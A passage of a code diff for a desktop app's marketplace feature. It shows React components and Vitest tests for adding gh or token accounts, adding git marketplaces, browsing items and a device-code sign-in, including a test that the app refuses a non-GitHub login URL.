</div>
</li>
);
})}
</ul>
{adding && <AddAccountModal onClose={() => setAdding(false)} />}
</div>
);
}
@@ -0,0 +1,77 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
import { useAppState } from "../../store/appState";
import type { Project } from "../../lib/types";
const marketplaceGhHostAvailable = vi.fn();
const addMarketplaceGhHostAccount = vi.fn();
const addMarketplaceTokenAccount = vi.fn();
const getSettings = vi.fn();
vi.mock("../../lib/tauri-commands", () => ({
marketplaceGhHostAvailable: () => marketplaceGhHostAvailable(),
addMarketplaceGhHostAccount: (...a: unknown[]) => addMarketplaceGhHostAccount(...a),
addMarketplaceTokenAccount: (...a: unknown[]) => addMarketplaceTokenAccount(...a),
getSettings: () => getSettings(),
}));
vi.mock("./GhContainerLoginModal", () => ({
default: ({ projectId }: { projectId: string }) => <div>container login for {projectId}</div>,
}));
import AddAccountModal from "./AddAccountModal";
const running = { id: "p1", name: "api", status: "running", container_id: "c1" } as unknown as Project;
describe("AddAccountModal", () => {
beforeEach(() => {
vi.clearAllMocks();
getSettings.mockResolvedValue({ marketplace_accounts: [] });
useAppState.setState({ projects: [running], toasts: [] });
});
it("uses host gh when available", async () => {
marketplaceGhHostAvailable.mockResolvedValue(true);
addMarketplaceGhHostAccount.mockResolvedValue({ id: "a1" });
const onClose = vi.fn();
render(<AddAccountModal onClose={onClose} />);
expect(await screen.findByText(/gh is installed on this computer/)).toBeInTheDocument();
fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Personal" } });
fireEvent.click(screen.getByRole("button", { name: "Add account" }));
await waitFor(() => expect(addMarketplaceGhHostAccount).toHaveBeenCalledWith("Personal", "github.com"));
await waitFor(() => expect(onClose).toHaveBeenCalled());
});
it("falls back to gh in a running container", async () => {
marketplaceGhHostAvailable.mockResolvedValue(false);
render(<AddAccountModal onClose={vi.fn()} />);
expect(await screen.findByLabelText("Run gh in")).toBeInTheDocument();
fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Work" } });
fireEvent.click(screen.getByRole("button", { name: "Sign in" }));
expect(screen.getByText("container login for p1")).toBeInTheDocument();
});
it("adds a token account for any host", async () => {
marketplaceGhHostAvailable.mockResolvedValue(false);
addMarketplaceTokenAccount.mockResolvedValue({ id: "a2" });
render(<AddAccountModal onClose={vi.fn()} />);
fireEvent.click(await screen.findByRole("radio", { name: "Access token" }));
fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Gitea" } });
fireEvent.change(screen.getByLabelText("Host"), { target: { value: "repo.anhonesthost.net" } });
fireEvent.change(screen.getByLabelText("Token"), { target: { value: "test-token-not-real" } });
fireEvent.click(screen.getByRole("button", { name: "Add account" }));
await waitFor(() =>
expect(addMarketplaceTokenAccount).toHaveBeenCalledWith("Gitea", "repo.anhonesthost.net", "test-token-not-real"),
);
});
it("shows a validation error from the backend", async () => {
marketplaceGhHostAvailable.mockResolvedValue(false);
addMarketplaceTokenAccount.mockRejectedValue("The token was rejected by repo.anhonesthost.net (HTTP 401)");
render(<AddAccountModal onClose={vi.fn()} />);
fireEvent.click(await screen.findByRole("radio", { name: "Access token" }));
fireEvent.change(screen.getByLabelText("Label"), { target: { value: "G" } });
fireEvent.change(screen.getByLabelText("Host"), { target: { value: "repo.anhonesthost.net" } });
fireEvent.change(screen.getByLabelText("Token"), { target: { value: "test-token-not-real" } });
fireEvent.click(screen.getByRole("button", { name: "Add account" }));
expect(await screen.findByText(/HTTP 401/)).toBeInTheDocument();
});
});
@@ -0,0 +1,190 @@
import { useEffect, useState } from "react";
import Modal from "../ui/Modal";
import Button from "../ui/Button";
import SegmentedControl from "../ui/SegmentedControl";
import Field, { inputClass, selectClass } from "../ui/Field";
import {
addMarketplaceGhHostAccount,
addMarketplaceTokenAccount,
getSettings,
marketplaceGhHostAvailable,
} from "../../lib/tauri-commands";
import { useAppState } from "../../store/appState";
import GhContainerLoginModal from "./GhContainerLoginModal";
type Method = "gh" | "token";
interface Props {
onClose: () => void;
}
export default function AddAccountModal({ onClose }: Props) {
const projects = useAppState((s) => s.projects);
const setAppSettings = useAppState((s) => s.setAppSettings);
const runnable = projects.filter((p) => p.status === "running" && p.container_id);
const [method, setMethod] = useState<Method>("gh");
const [hostGh, setHostGh] = useState<boolean | null>(null);
const [label, setLabel] = useState("");
const [host, setHost] = useState("github.com");
const [token, setToken] = useState("");
const [projectId, setProjectId] = useState(runnable[0]?.id ?? "");
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const [containerLogin, setContainerLogin] = useState(false);
useEffect(() => {
let cancelled = false;
marketplaceGhHostAvailable()
.then((v) => {
if (!cancelled) setHostGh(v);
})
.catch(() => {
if (!cancelled) setHostGh(false);
});
return () => {
cancelled = true;
};
}, []);
const reloadSettings = async () => setAppSettings(await getSettings());
const finish = async () => {
await reloadSettings();
onClose();
};
const submit = async () => {
setError(null);
if (method === "gh" && !hostGh) {
setContainerLogin(true);
return;
}
setBusy(true);
try {
if (method === "gh") {
await addMarketplaceGhHostAccount(label.trim(), host.trim());
} else {
const t = token.trim();
setToken("");
await addMarketplaceTokenAccount(label.trim(), host.trim(), t);
}
await finish();
} catch (e) {
setError(typeof e === "string" ? e : String(e));
} finally {
setBusy(false);
}
};
const hostValid = /^[A-Za-z0-9.-]+(:[0-9]+)?$/.test(host.trim());
const needsContainer = method === "gh" && hostGh === false;
const canSubmit =
!busy &&
hostGh !== null &&
label.trim() !== "" &&
hostValid &&
(method === "gh" ? !needsContainer || projectId !== "" : token.trim() !== "");
if (containerLogin) {
const project = runnable.find((p) => p.id === projectId);
return (
<GhContainerLoginModal
label={label.trim()}
host={host.trim()}
projectId={projectId}
projectName={project?.name ?? projectId}
onClose={onClose}
onDone={() => void finish()}
/>
);
}
return (
<Modal
title="Add account"
description="Accounts let Triple-C read private marketplace repositories. Credentials stay on this computer and never enter containers."
widthClassName="w-[36rem]"
dismissible={!busy}
onClose={onClose}
footer={
<>
<Button size="md" variant="ghost" onClick={onClose} disabled={busy}>
Cancel
</Button>
<Button size="md" variant="primary" onClick={() => void submit()} disabled={!canSubmit}>
{needsContainer ? "Sign in" : busy ? "Checking…" : "Add account"}
</Button>
</>
}
>
<div className="space-y-3">
<SegmentedControl<Method>
label="Sign-in method"
value={method}
onChange={(m) => {
setMethod(m);
setError(null);
}}
segments={[
{ value: "gh", label: "GitHub via gh" },
{ value: "token", label: "Access token" },
]}
/>
<Field label="Label">
{(id) => (
<input id={id} value={label} onChange={(e) => setLabel(e.target.value)} className={inputClass} placeholder="Work GitHub" />
)}
</Field>
<Field label="Host" hint={hostValid ? undefined : "Host name only, e.g. github.com or repo.example.com"}>
{(id) => <input id={id} value={host} onChange={(e) => setHost(e.target.value)} className={inputClass} />}
</Field>
{method === "gh" && hostGh === true && (
<p className="text-xs text-[var(--text-secondary)]">
gh is installed on this computer. Triple-C asks it for a token each time it fetches, so signing out of gh
also signs this account out. If gh is not logged in yet, run <code className="font-mono">gh auth login</code> first.
</p>
)}
{needsContainer &&
(runnable.length === 0 ? (
<p className="text-xs text-[var(--warning)]">
gh is not installed on this computer. Start a project so gh can run in its container, or use an access token.
</p>
) : (
<Field
label="Run gh in"
hint="gh is not installed on this computer, so the sign-in runs in this container. The token is kept in your OS keychain, not in the container."
>
{(id) => (
<select id={id} value={projectId} onChange={(e) => setProjectId(e.target.value)} className={selectClass}>
{runnable.map((p) => (
<option key={p.id} value={p.id}>
{p.name}
</option>
))}
</select>
)}
</Field>
))}
{method === "token" && (
<Field
label="Token"
hint="A personal access token with read access to the repository. For GitHub SSO orgs, authorise the token for the org."
>
{(id) => (
<input
id={id}
type="password"
autoComplete="off"
value={token}
onChange={(e) => setToken(e.target.value)}
className={inputClass}
/>
)}
</Field>
)}
{error && <p role="alert" className="text-xs text-[var(--error)] whitespace-pre-wrap">{error}</p>}
</div>
</Modal>
);
}
@@ -0,0 +1,54 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
import { useAppState } from "../../store/appState";
import type { AppSettings } from "../../lib/types";
const addMarketplace = vi.fn();
vi.mock("../../lib/tauri-commands", () => ({
addMarketplace: (...a: unknown[]) => addMarketplace(...a),
}));
import AddMarketplaceModal from "./AddMarketplaceModal";
describe("AddMarketplaceModal", () => {
beforeEach(() => {
vi.clearAllMocks();
useAppState.setState({
appSettings: {
marketplace_accounts: [{ id: "acc1", label: "Work", host: "github.com", method: "token", username: "me" }],
marketplaces: [],
global_marketplace_installs: [],
} as unknown as AppSettings,
});
});
it("submits name, url, branch and account", async () => {
const onAdded = vi.fn();
addMarketplace.mockResolvedValue({ marketplace_id: "m1", head_commit: null, fetched_at: null, fetch_error: null, items: [] });
render(<AddMarketplaceModal onClose={vi.fn()} onAdded={onAdded} />);
fireEvent.change(screen.getByLabelText("Name"), { target: { value: "Starter" } });
fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "https://github.com/shadowdao/triple-c-marketplace.git" } });
fireEvent.change(screen.getByLabelText("Branch"), { target: { value: "" } });
fireEvent.change(screen.getByLabelText("Account"), { target: { value: "acc1" } });
fireEvent.click(screen.getByRole("button", { name: "Add marketplace" }));
await waitFor(() => expect(onAdded).toHaveBeenCalled());
expect(addMarketplace).toHaveBeenCalledWith("Starter", "https://github.com/shadowdao/triple-c-marketplace.git", null, "acc1");
});
it("rejects non-https URLs before calling the backend", () => {
render(<AddMarketplaceModal onClose={vi.fn()} onAdded={vi.fn()} />);
fireEvent.change(screen.getByLabelText("Name"), { target: { value: "x" } });
fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "git@github.com:a/b.git" } });
expect(screen.getByRole("button", { name: "Add marketplace" })).toBeDisabled();
expect(screen.getByText(/must start with https:\/\//)).toBeInTheDocument();
});
it("shows the backend error and stays open", async () => {
addMarketplace.mockRejectedValue("Work cannot read this repository (HTTP 404)");
render(<AddMarketplaceModal onClose={vi.fn()} onAdded={vi.fn()} />);
fireEvent.change(screen.getByLabelText("Name"), { target: { value: "x" } });
fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "https://github.com/a/b.git" } });
fireEvent.click(screen.getByRole("button", { name: "Add marketplace" }));
expect(await screen.findByText(/HTTP 404/)).toBeInTheDocument();
});
});
@@ -0,0 +1,104 @@
import { useState } from "react";
import Modal from "../ui/Modal";
import Button from "../ui/Button";
import Field, { inputClass, selectClass } from "../ui/Field";
import { addMarketplace } from "../../lib/tauri-commands";
import { useAppState } from "../../store/appState";
import type { MarketplaceSnapshot } from "../../lib/types";
interface Props {
onClose: () => void;
onAdded: (snapshot: MarketplaceSnapshot) => void;
}
export default function AddMarketplaceModal({ onClose, onAdded }: Props) {
const accounts = useAppState((s) => s.appSettings?.marketplace_accounts ?? []);
const [name, setName] = useState("");
const [url, setUrl] = useState("");
const [branch, setBranch] = useState("");
const [accountId, setAccountId] = useState("");
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const trimmedUrl = url.trim();
const urlProblem =
trimmedUrl !== "" && !trimmedUrl.startsWith("https://")
? "The repository URL must start with https:// (SSH URLs are not supported)."
: null;
const canSubmit = name.trim() !== "" && trimmedUrl !== "" && !urlProblem && !busy;
const submit = async () => {
setBusy(true);
setError(null);
try {
const snap = await addMarketplace(
name.trim(),
trimmedUrl,
branch.trim() === "" ? null : branch.trim(),
accountId === "" ? null : accountId,
);
onAdded(snap);
onClose();
} catch (e) {
setError(typeof e === "string" ? e : String(e));
} finally {
setBusy(false);
}
};
return (
<Modal
title="Add marketplace"
description="Triple-C fetches the repository now to check it can be read. Nothing is saved if that fails."
widthClassName="w-[36rem]"
dismissible={!busy}
onClose={onClose}
footer={
<>
<Button size="md" variant="ghost" onClick={onClose} disabled={busy}>
Cancel
</Button>
<Button size="md" variant="primary" onClick={() => void submit()} disabled={!canSubmit}>
{busy ? "Checking…" : "Add marketplace"}
</Button>
</>
}
>
<div className="space-y-3">
<Field label="Name">
{(id) => (
<input id={id} value={name} onChange={(e) => setName(e.target.value)} className={inputClass} placeholder="Team marketplace" />
)}
</Field>
<Field label="Repository URL" hint={urlProblem ?? "HTTPS clone URL, e.g. https://github.com/owner/repo.git"}>
{(id) => (
<input id={id} value={url} onChange={(e) => setUrl(e.target.value)} className={inputClass} placeholder="https://github.com/owner/repo.git" />
)}
</Field>
<Field label="Branch" hint="Leave empty to use the repository's default branch.">
{(id) => (
<input id={id} value={branch} onChange={(e) => setBranch(e.target.value)} className={inputClass} placeholder="main" />
)}
</Field>
<Field label="Account" hint="Needed for private repositories. Add accounts on the Accounts tab.">
{(id) => (
<select id={id} value={accountId} onChange={(e) => setAccountId(e.target.value)} className={selectClass}>
<option value="">None (public repository)</option>
{accounts.map((a) => (
<option key={a.id} value={a.id}>
{a.label} — {a.host}
{a.username ? ` (${a.username})` : ""}
</option>
))}
</select>
)}
</Field>
{error && (
<p role="alert" className="text-xs text-[var(--error)] whitespace-pre-wrap leading-snug">
{error}
</p>
)}
</div>
</Modal>
);
}
@@ -0,0 +1,172 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
import { useAppState } from "../../store/appState";
import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
vi.mock("./InstallControls", () => ({
default: ({ headCommit }: { headCommit: string | null }) => <div>install controls at {headCommit}</div>,
}));
vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> }));
const updateMarketplace = vi.fn();
vi.mock("../../lib/tauri-commands", () => ({
updateMarketplace: (m: unknown) => updateMarketplace(m),
}));
import BrowsePane from "./BrowsePane";
const it_ = (kind: CatalogItem["kind"], key: string, patch: Partial<CatalogItem> = {}): CatalogItem => ({
kind,
key,
name: key,
description: `${key} description`,
path: key,
invalid: null,
hook_commands: [],
plugin_components: [],
preview: `${key} preview body`,
...patch,
});
const snapshot: MarketplaceSnapshot = {
marketplace_id: "m1",
head_commit: "a".repeat(40),
fetched_at: "2026-09-27T12:00:00Z",
fetch_error: "network unreachable",
items: [it_("agent", "code-reviewer"), it_("hook", "notify-on-stop"), it_("skill", "broken", { invalid: "SKILL.md missing" })],
};
function api(patch: Partial<MarketplaceApi> = {}): MarketplaceApi {
return {
snapshots: [snapshot],
updates: [],
loading: false,
refreshing: [],
load: vi.fn(),
refresh: vi.fn(),
reloadState: vi.fn(),
install: vi.fn(),
uninstall: vi.fn(),
setDisabled: vi.fn(),
update: vi.fn(),
forget: vi.fn(),
remove: vi.fn(async () => true),
...patch,
};
}
describe("BrowsePane", () => {
beforeEach(() => {
useAppState.setState({
appSettings: {
marketplaces: [{ id: "m1", name: "Starter", url: "https://github.com/s/m.git", branch: null, account_id: null }],
marketplace_accounts: [],
global_marketplace_installs: [],
} as unknown as AppSettings,
projects: [],
marketplaceFilterProjectId: null,
});
});
it("lists items, filters by kind and search, and shows detail", () => {
render(<BrowsePane mp={api()} />);
expect(screen.getByText("network unreachable")).toBeInTheDocument();
expect(screen.getByRole("button", { name: /code-reviewer/ })).toBeInTheDocument();
expect(screen.getByRole("button", { name: /notify-on-stop/ })).toBeInTheDocument();
fireEvent.click(screen.getByRole("radio", { name: "Hooks" }));
expect(screen.queryByRole("button", { name: /code-reviewer/ })).not.toBeInTheDocument();
fireEvent.click(screen.getByRole("radio", { name: "All" }));
fireEvent.change(screen.getByLabelText("Search items"), { target: { value: "review" } });
expect(screen.queryByRole("button", { name: /notify-on-stop/ })).not.toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument();
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
});
it("I2: installs pin the head the shown item was read at, not a later one", () => {
const mp = api();
const { rerender } = render(<BrowsePane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
rerender(<BrowsePane mp={{ ...mp, snapshots: [{ ...snapshot, head_commit: "b".repeat(40) }] }} />);
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
});
it("lets the kind filter wrap instead of running out of its column", () => {
// All + five kinds are wider than the fixed-width item column.
render(<BrowsePane mp={api()} />);
expect(screen.getByRole("radiogroup", { name: "Item kind" })).toHaveClass("flex-wrap");
});
it("shows why an item is invalid", () => {
render(<BrowsePane mp={api()} />);
fireEvent.click(screen.getByRole("button", { name: /broken/ }));
expect(screen.getByText("SKILL.md missing")).toBeInTheDocument();
});
describe("PR review #7: changing a marketplace's account", () => {
const withAccount = () =>
useAppState.setState({
toasts: [],
appSettings: {
marketplaces: [{ id: "m1", name: "Starter", url: "https://github.com/s/m.git", branch: null, account_id: null }],
marketplace_accounts: [{ id: "a1", label: "Work", host: "gitlab.com", method: "token", username: null }],
global_marketplace_installs: [],
} as unknown as AppSettings,
});
it("toasts a refused change instead of leaving it unhandled", async () => {
withAccount();
updateMarketplace.mockRejectedValueOnce("The account \"Work\" is for gitlab.com, but this marketplace is on github.com.");
const mp = api();
render(<BrowsePane mp={mp} />);
fireEvent.change(screen.getByLabelText("Account for Starter"), { target: { value: "a1" } });
await waitFor(() => expect(useAppState.getState().toasts).toHaveLength(1));
const toast = useAppState.getState().toasts[0];
expect(toast.kind).toBe("error");
expect(toast.detail).toContain("is for gitlab.com");
expect(mp.refresh).not.toHaveBeenCalled();
});
it("refreshes the marketplace after a successful change", async () => {
withAccount();
updateMarketplace.mockResolvedValueOnce({});
const mp = api();
render(<BrowsePane mp={mp} />);
fireEvent.change(screen.getByLabelText("Account for Starter"), { target: { value: "a1" } });
await waitFor(() => expect(mp.refresh).toHaveBeenCalledWith("m1"));
expect(updateMarketplace).toHaveBeenCalledWith(expect.objectContaining({ id: "m1", account_id: "a1" }));
expect(mp.reloadState).toHaveBeenCalled();
expect(useAppState.getState().toasts).toHaveLength(0);
});
});
it("refreshes one marketplace", () => {
const mp = api();
render(<BrowsePane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: "Refresh Starter" }));
expect(mp.refresh).toHaveBeenCalledWith("m1");
});
it("offers Add when there are no marketplaces", () => {
useAppState.setState({
appSettings: { marketplaces: [], marketplace_accounts: [], global_marketplace_installs: [] } as unknown as AppSettings,
});
render(<BrowsePane mp={api({ snapshots: [] })} />);
fireEvent.click(screen.getByRole("button", { name: "Add marketplace" }));
expect(screen.getByText("add modal")).toBeInTheDocument();
});
it("confirms before removing a marketplace (F6)", () => {
const mp = api();
render(<BrowsePane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: "Remove Starter" }));
expect(screen.getByText(/Source removed/)).toBeInTheDocument();
expect(screen.getByText(/Forget/)).toBeInTheDocument();
expect(mp.remove).not.toHaveBeenCalled();
fireEvent.click(screen.getByRole("button", { name: "Remove marketplace" }));
expect(mp.remove).toHaveBeenCalledWith("m1");
});
});
@@ -0,0 +1,277 @@
import { useMemo, useState } from "react";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
import { useAppState } from "../../store/appState";
import { KIND_LABELS, KIND_ORDER, itemRefKey } from "../../lib/marketplace";
import { updateMarketplace } from "../../lib/tauri-commands";
import type { CatalogItem, ItemKind, Marketplace } from "../../lib/types";
import Button from "../ui/Button";
import Modal from "../ui/Modal";
import SegmentedControl from "../ui/SegmentedControl";
import { inputClass, selectClass } from "../ui/Field";
import AddMarketplaceModal from "./AddMarketplaceModal";
import ItemDetail from "./ItemDetail";
type KindFilter = ItemKind | "all";
const when = (iso: string | null) => (iso ? new Date(iso).toLocaleString() : "never");
function errorText(e: unknown): string {
return typeof e === "string" ? e : e instanceof Error ? e.message : String(e);
}
export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
const marketplaces = useAppState((s) => s.appSettings?.marketplaces ?? []);
const accounts = useAppState((s) => s.appSettings?.marketplace_accounts ?? []);
const globalInstalls = useAppState((s) => s.appSettings?.global_marketplace_installs ?? []);
const projects = useAppState((s) => s.projects);
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId);
const pushToast = useAppState((s) => s.pushToast);
const [kind, setKind] = useState<KindFilter>("all");
const [query, setQuery] = useState("");
// The item is kept as it was read, with the head it was read at: an
// install pins exactly what the detail pane shows (final review I2).
const [selected, setSelected] = useState<{
marketplaceId: string;
item: CatalogItem;
headCommit: string | null;
} | null>(null);
const [adding, setAdding] = useState(false);
const [removing, setRemoving] = useState<Marketplace | null>(null);
const rows = useMemo(() => {
const q = query.trim().toLowerCase();
return mp.snapshots.flatMap((snap) =>
snap.items
.filter((i) => kind === "all" || i.kind === kind)
.filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q))
.sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name))
.map((item) => ({ marketplaceId: snap.marketplace_id, item, headCommit: snap.head_commit })),
);
}, [mp.snapshots, kind, query]);
const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id;
/** A refused change (e.g. an account for another host) is toasted; a saved
* one is fetched with the new account so its old fetch error goes away. */
const changeAccount = async (m: Marketplace, accountId: string | null) => {
try {
await updateMarketplace({ ...m, account_id: accountId });
} catch (e) {
pushToast({ kind: "error", message: `Could not change the account for ${m.name}`, detail: errorText(e) });
return;
}
try {
await mp.reloadState();
} catch (e) {
console.error("Failed to reload after changing a marketplace account:", e);
}
await mp.refresh(m.id);
};
/** Global + every project's installs of this marketplace, for the removal warning. */
const installCountFor = (marketplaceId: string) => {
const global = globalInstalls.filter((i) => i.marketplace_id === marketplaceId).length;
const perProject = projects.reduce(
(sum, p) => sum + p.marketplace_installs.filter((i) => i.marketplace_id === marketplaceId).length,
0,
);
return global + perProject;
};
return (
<div className="flex h-full min-h-0">
<aside className="w-64 flex-shrink-0 border-r border-[var(--border-color)] p-3 space-y-3 overflow-auto">
<div className="flex items-center justify-between">
<h2 className="text-xs font-medium">Marketplaces</h2>
<Button size="sm" variant="secondary" onClick={() => setAdding(true)}>
Add marketplace
</Button>
</div>
{marketplaces.length === 0 && (
<p className="text-xs text-[var(--text-secondary)]">No marketplaces yet. Add a git repository to browse its items.</p>
)}
{marketplaces.map((m) => {
const snap = mp.snapshots.find((s) => s.marketplace_id === m.id);
const refreshing = mp.refreshing.includes(m.id);
return (
<div key={m.id} className="space-y-1 text-xs">
<div className="flex items-center justify-between gap-2">
<span className="font-medium truncate" title={m.url}>
{m.name}
</span>
<div className="flex items-center gap-1 flex-shrink-0">
<Button
size="sm"
variant="ghost"
aria-label={`Refresh ${m.name}`}
disabled={refreshing}
onClick={() => void mp.refresh(m.id)}
>
{refreshing ? "…" : "↻"}
</Button>
<Button
size="sm"
variant="ghost"
aria-label={`Remove ${m.name}`}
onClick={() => setRemoving(m)}
>
Remove
</Button>
</div>
</div>
{accounts.length > 0 ? (
<label className="flex items-center gap-1 text-[var(--text-secondary)]">
<span>Account</span>
<select
aria-label={`Account for ${m.name}`}
value={m.account_id ?? ""}
onChange={(e) => void changeAccount(m, e.target.value === "" ? null : e.target.value)}
className={selectClass}
>
<option value="">None (public)</option>
{accounts.map((a) => (
<option key={a.id} value={a.id}>
{a.label}
</option>
))}
</select>
</label>
) : (
<p className="text-[var(--text-secondary)]">No account (public repository)</p>
)}
<p className="text-[var(--text-secondary)]">Last fetched {when(snap?.fetched_at ?? null)}</p>
{snap?.fetch_error && (
<p className="text-[var(--error)] whitespace-pre-wrap leading-snug">{snap.fetch_error}</p>
)}
</div>
);
})}
{projects.length > 0 && (
<label className="block text-xs space-y-1">
<span className="text-[var(--text-secondary)]">Show install state for</span>
<select
value={filterId ?? ""}
onChange={(e) => setFilterId(e.target.value === "" ? null : e.target.value)}
className={selectClass}
>
<option value="">All projects</option>
{projects.map((p) => (
<option key={p.id} value={p.id}>
{p.name}
</option>
))}
</select>
</label>
)}
</aside>
<section className="w-80 flex-shrink-0 border-r border-[var(--border-color)] p-3 space-y-2 overflow-auto">
<SegmentedControl<KindFilter>
label="Item kind"
className="flex-wrap"
value={kind}
onChange={setKind}
segments={[
{ value: "all", label: "All" },
...KIND_ORDER.map((k) => ({ value: k as KindFilter, label: KIND_LABELS[k] })),
]}
/>
<input
aria-label="Search items"
value={query}
onChange={(e) => setQuery(e.target.value)}
placeholder="Search"
className={inputClass}
/>
<ul className="space-y-1">
{rows.map(({ marketplaceId, item, headCommit }) => {
const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key });
const isSel =
selected?.marketplaceId === marketplaceId &&
selected.item.kind === item.kind &&
selected.item.key === item.key;
return (
<li key={key}>
<button
type="button"
onClick={() => setSelected({ marketplaceId, item, headCommit })}
className={`w-full text-left px-2 py-1.5 rounded-[var(--radius-control)] text-xs ${
isSel ? "bg-[var(--bg-tertiary)]" : "hover:bg-[var(--bg-tertiary)]"
}`}
>
<span className="font-medium">{item.name}</span>
<span className="ml-1 text-[var(--text-secondary)]">{KIND_LABELS[item.kind].replace(/s$/, "").toLowerCase()}</span>
{item.invalid && <span className="ml-1 text-[var(--error)]">invalid</span>}
{mp.snapshots.length > 1 && (
<span className="block text-[var(--text-secondary)]">{nameOf(marketplaceId)}</span>
)}
{item.description && (
<span className="block text-[var(--text-secondary)] truncate">{item.description}</span>
)}
</button>
</li>
);
})}
{rows.length === 0 && mp.snapshots.length > 0 && (
<li className="text-xs text-[var(--text-secondary)]">No items match.</li>
)}
</ul>
</section>
<section className="flex-1 min-w-0 p-4 overflow-auto">
{selected ? (
<ItemDetail
mp={mp}
item={selected.item}
marketplaceId={selected.marketplaceId}
headCommit={selected.headCommit}
/>
) : (
<p className="text-xs text-[var(--text-secondary)]">Select an item to see what it contains and install it.</p>
)}
</section>
{adding && (
<AddMarketplaceModal
onClose={() => setAdding(false)}
onAdded={() => {
void mp.reloadState();
void mp.load();
}}
/>
)}
{removing && (
<Modal
title={`Remove marketplace “${removing.name}”?`}
onClose={() => setRemoving(null)}
footer={
<>
<Button size="md" variant="ghost" onClick={() => setRemoving(null)}>
Cancel
</Button>
<Button
size="md"
variant="danger"
onClick={() => {
const id = removing.id;
setRemoving(null);
void mp.remove(id);
}}
>
Remove marketplace
</Button>
</>
}
>
<p className="text-xs text-[var(--text-secondary)] leading-snug">
{installCountFor(removing.id)} install{installCountFor(removing.id) === 1 ? "" : "s"} stay listed as
“Source removed” and are removed from containers at their next sync. Use “Forget” on the Installed tab
instead if you want to drop them immediately.
</p>
</Modal>
)}
</div>
);
}
@@ -0,0 +1,72 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { act, fireEvent, render, screen, waitFor } from "@testing-library/react";
const startMarketplaceGhContainerLogin = vi.fn();
const cancelMarketplaceGhLogin = vi.fn();
const openUrlExternal = vi.fn();
vi.mock("../../lib/tauri-commands", () => ({
startMarketplaceGhContainerLogin: (...a: unknown[]) => startMarketplaceGhContainerLogin(...a),
cancelMarketplaceGhLogin: () => cancelMarketplaceGhLogin(),
openUrlExternal: (u: string) => openUrlExternal(u),
}));
const handlers = new Map<string, (e: { payload: unknown }) => void>();
vi.mock("@tauri-apps/api/event", () => ({
listen: vi.fn(async (name: string, cb: (e: { payload: unknown }) => void) => {
handlers.set(name, cb);
return vi.fn();
}),
}));
import GhContainerLoginModal from "./GhContainerLoginModal";
describe("GhContainerLoginModal", () => {
beforeEach(() => {
vi.clearAllMocks();
handlers.clear();
});
it("shows the device code, opens the URL, and finishes", async () => {
let resolve!: (v: unknown) => void;
startMarketplaceGhContainerLogin.mockReturnValue(new Promise((r) => (resolve = r)));
const onDone = vi.fn();
render(
<GhContainerLoginModal label="Work" host="github.com" projectId="p1" projectName="api" onClose={vi.fn()} onDone={onDone} />,
);
await waitFor(() => expect(handlers.has("marketplace-gh-login-code")).toBe(true));
await waitFor(() => expect(startMarketplaceGhContainerLogin).toHaveBeenCalledWith("Work", "github.com", "p1"));
act(() =>
handlers.get("marketplace-gh-login-code")!({
payload: { account_id: "unknown-yet", code: "ABCD-1234", url: "https://github.com/login/device" },
}),
);
expect(screen.getByText("ABCD-1234")).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Open GitHub" }));
expect(openUrlExternal).toHaveBeenCalledWith("https://github.com/login/device");
await act(async () => resolve({ id: "acc9", label: "Work", host: "github.com", method: "gh_container", username: "me" }));
await waitFor(() => expect(onDone).toHaveBeenCalled());
});
it("refuses to open a non-GitHub URL from the container", async () => {
startMarketplaceGhContainerLogin.mockReturnValue(new Promise(() => {}));
render(<GhContainerLoginModal label="W" host="github.com" projectId="p1" projectName="api" onClose={vi.fn()} onDone={vi.fn()} />);
await waitFor(() => expect(handlers.has("marketplace-gh-login-code")).toBe(true));
act(() =>
handlers.get("marketplace-gh-login-code")!({
payload: { account_id: "x", code: "ABCD-1234", url: "https://evil.example/login" },
}),
);
expect(screen.queryByRole("button", { name: "Open GitHub" })).not.toBeInTheDocument();
});
it("cancels", async () => {
startMarketplaceGhContainerLogin.mockReturnValue(new Promise(() => {}));
const onClose = vi.fn();
render(<GhContainerLoginModal label="W" host="github.com" projectId="p1" projectName="api" onClose={onClose} onDone={vi.fn()} />);
fireEvent.click(await screen.findByRole("button", { name: "Cancel sign-in" }));
expect(cancelMarketplaceGhLogin).toHaveBeenCalled();
expect(onClose).toHaveBeenCalled();
});
});
@@ -0,0 +1,158 @@
import { useEffect, useRef, useState } from "react";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Modal from "../ui/Modal";
import Button from "../ui/Button";
import StatusIndicator from "../ui/StatusIndicator";
import {
cancelMarketplaceGhLogin,
openUrlExternal,
startMarketplaceGhContainerLogin,
